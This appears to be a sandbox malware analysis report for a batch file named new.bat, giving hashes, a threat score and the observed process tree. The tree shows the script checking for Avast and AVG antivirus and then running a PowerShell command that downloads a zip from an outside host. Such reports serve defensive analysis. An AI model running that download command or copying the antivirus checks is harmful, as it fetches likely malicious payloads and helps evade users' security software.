Analysis

  • max time kernel
    837s
  • max time network
    838s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    10-01-2025 02:54

General

  • Target

    new.bat

  • Size

    33KB

  • MD5

    878627c4bca0ba302c23e3cda27b71f6

  • SHA1

    b530ab3d16cf53c9a397586c2d71e7374ad80e89

  • SHA256

    f70797c423c2807efbb81828b6a179099bc12a8adf852c02128cca7c67d4172b

  • SHA512

    f5e073b50b4042540e096f6ec691941b25f22f5fe3c3dd252a064a2672ac091910ef5711bd6f6c17b7af222d9f93063fc3f94be08eed57558c2f77d1917f318c

  • SSDEEP

    192:b+OyBLHo3fzcQD889AANVsoVVCB0+VZ3zdYxDcis:b+WN489AU+oTCB0YZ3uxDcL

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq AvastUI.exe"
      2⤵
      • Enumerates processes with tasklist
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Windows\system32\find.exe
      find /i "AvastUI.exe"
      2⤵
        PID:2892
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avgui.exe"
        2⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2800
      • C:\Windows\system32\find.exe
        find /i "avgui.exe"
        2⤵
          PID:2644
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.me:7140/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:816

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/816-4-0x000007FEF688E000-0x000007FEF688F000-memory.dmp

        Filesize

        4KB

      • memory/816-5-0x000000001B570000-0x000000001B852000-memory.dmp

        Filesize

        2.9MB

      • memory/816-7-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/816-9-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/816-10-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/816-8-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/816-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

        Filesize

        32KB

      • memory/816-11-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/816-12-0x000007FEF65D0000-0x000007FEF6F6D000-memory.dmp

        Filesize

        9.6MB